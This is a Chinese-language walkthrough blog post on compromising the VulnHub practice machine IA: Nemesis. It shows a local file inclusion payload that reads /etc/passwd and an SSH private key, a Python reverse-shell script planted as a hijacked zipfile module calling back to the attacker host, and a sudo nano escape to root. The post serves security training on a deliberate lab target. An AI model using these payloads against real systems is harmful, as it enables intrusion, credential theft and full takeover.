渗透练习 Vulnhub靶场 Nemesis

No.28 Nemesis

靶机信息

下载地址:

https://www.vulnhub.com/entry/ia-nemesis-101,582/

靶场: VulnHub.com

靶机名称: IA: Nemesis (1.0.1)

难度: 中等-困难

发布时间: 2020年10月25日

提示信息:

这个盒子是为了提高Linux特权升级和CMS技能而创建的,我希望你们喜欢。

目标: 2个flag

实验环境

攻击机:VMware	kali	192.168.7.3

靶机:Vbox		linux	IP自动获取

信息收集

扫描主机

扫描局域网内的靶机IP地址

sudo nmap -sP 192.168.7.1/24

image-20220211223512844

扫描到主机地址为192.168.7.166

扫描端口

扫描靶机开放的服务端口

sudo nmap -sC -sV -p- 192.168.7.166 -oN Nemesis.nmap

image-20220211223635852

扫描到3个开放端口,其中80(http)52845(http)、52846(SSH),先访问80端口

Web渗透

http://192.168.7.166

image-20220211224212274

打开首页后有一些提示,让我们找到漏洞并修复,先做个目录扫描

目录扫描

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.7.166 -x php,html,txt,zip

image-20220211225431068

扫描到contact.php和robots.txt,把robots.txt下载看看有什么

wget http://192.168.7.166/robots.txt
cat robots.txt

image-20220211225616393

提示让我们去找真正的漏洞,再来看看contact.php是什么

http://192.168.7.166/contact.php

image-20220211230808045

一个正常的页面,在源码中找到一些提示

image-20220211230921696

一段php代码,获取3个参数回显1个,我们试试

http://192.168.7.166/contact.php?name=a&email=b&message=ls
http://192.168.7.166/contact.php?name=a&email=b&message=../../../../etc/passwd

没有回显任何信息,可能注入点不在这里。在login.html页面源码中找到一些信息

http://192.168.7.166/login.html

image-20220211233216264

感觉是用户名密码之类的东西先记下来,还有一个页面thanoscarlos.html访问看看

image-20220211233441625

没什么有用信息,访问52845端口

http://192.168.7.166:52845

image-20220211233733366

访问后是一个html5制作的网站,在Contact Us中发现一些内容跟之前的php页面的提示很像

image-20220211234054210

image-20220211234106895

同样是3个参数,我们试试

image-20220211234213968

image-20220211234230745

提交后弹出保存到文件中,跟文件有关,可能是文件包含,再试试

本地文件包含漏洞

image-20220211234415493

image-20220211234440088

提交后暴出passwd文件内容,到源码里看一下

image-20220212000807819

两个用户有登录权限,下面的这个thanos与前面login.html页面上显示的是同一个那hacker_in_the_town会不会是密码,SSH登录试一下(这里漏了1个

ssh thanos@192.168.7.166 -p 52846

image-20220211235137798

是用公钥登录的 ,试试能不能读取thanos用户目录下的公钥

payload

message=../../../../home/thanos/.ssh/id_rsa&submit=

image-20220211235711551

成功读取公钥文件,把他保存下来,再来登录试试

ssh thanos@192.168.7.166 -p 52846 -i id_rsa

image-20220211235915203

查看用户目录下有什么

ls -al
cat flag1.txt

image-20220212000139946

找到一个备份用的python脚本和flag1.txt,再来看下backup.py的内容

cat backup.py

image-20220212000421726

这个脚本将/var/www/html目录备份到/tmp/website.zip

home目录下还有一个carlos用户目录,访问时提示没权限,找找提权信息

执行sudo -l 时确认hacker_in_the_town不是thanos的密码,suid也没有权限,上传个pspy64

kali攻击机上开户http服务

python3 -m http.server

靶机上下载pspy64

wget http://192.168.7.3:8000/pspy64

pspy64加上执行权限并运行

chmod +x pspy64
./pspy64

image-20220212005413610

image-20220212005622736

可以看到UID1000的用户每分钟便执行一次backup.py脚本

image-20220212010025951

这个UID就是carlos用户,我们可以利用这个脚本提权,再来看一下脚本

cat backup.py

image-20220212012126395

这里引用了zipfile,我们可以在backup.py文件的目录下创建一个zipfile.py文件

kali攻击上操作

先监听4444端口

nc -lvvp 4444

image-20220212014651788

再创建zipfile.py文件

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.7.3",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

开启http服务

python3 -m http.server

image-20220212014720726

靶机上下载zipfile.py文件

wget http://192.168.7.3:8000/zipfile.py

image-20220212014628563

稍等一会靶机上便会自动执行backup.py脚本

image-20220212014809934

反弹成功,切换成交互式shell

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+z快捷键
stty -a
stty raw -echo;fg
reset

image-20220212015023886

切换完成,查看carlos用户目录下有什么

ls -al

image-20220212015207926

查看flag2.txt

cat flag2.txt

image-20220212015237636

拿到第2个flag,再查看root.txt

cat root.txt

image-20220212015308192

提示中讲到carlos用户的密码已被加密,加密的代码存储在encrypt.py文件中,让我们破解加密内容,格式为

************FUN********

那我们先来看看encrypt.py脚本里是什么内容

cat encrypt.py

image-20220212015827374

通过脚本可以看到是通过affine encrypt加密的,

FAJSRWOXLAXDQZAWNDDVLSU

我们到dcode.fr解一下,使用这个网站要注意一下,一定要等全部加载完才能使用,不然会操作失败

https://www.dcode.fr/chiffre-affine

image-20220212024326120

左侧便是解出来的内容,我们按照之前给的提示规则image-20220212024456461对比一下ENCRYPTIONISFUNPASSWORD

我们用这个密码执行下sudo 命令

sudo -l
输入密码ENCRYPTIONISFUNPASSWORD

image-20220212024951773

密码正确,找到sudo提权命令nano

sudo /bin/nano /opt/priv
Ctrl + r
Ctrl + x
reset; sh 1>&0 2>&0

image-20220212031111437

image-20220212031207816

Ctrl + r

image-20220212031235748

Ctrl + x

image-20220212031309186

输入reset; sh 1>&0 2>&0

image-20220212031341679

输入后执行完画面没有任何反应,其实已经提权成功了,此时输入id再回车就能看到

id

image-20220212031509900

看起来有点不舒服,用python切换成交互shell

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
cd /root
ls

image-20220212031654677

cat root.txt

image-20220212031728495

拿到root.txt,游戏结束。喜欢打靶的小伙伴可以微信搜索“伏波路上学安全”公众号、或扫描下方二维码关注获取更多打靶文章。
在这里插入图片描述

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值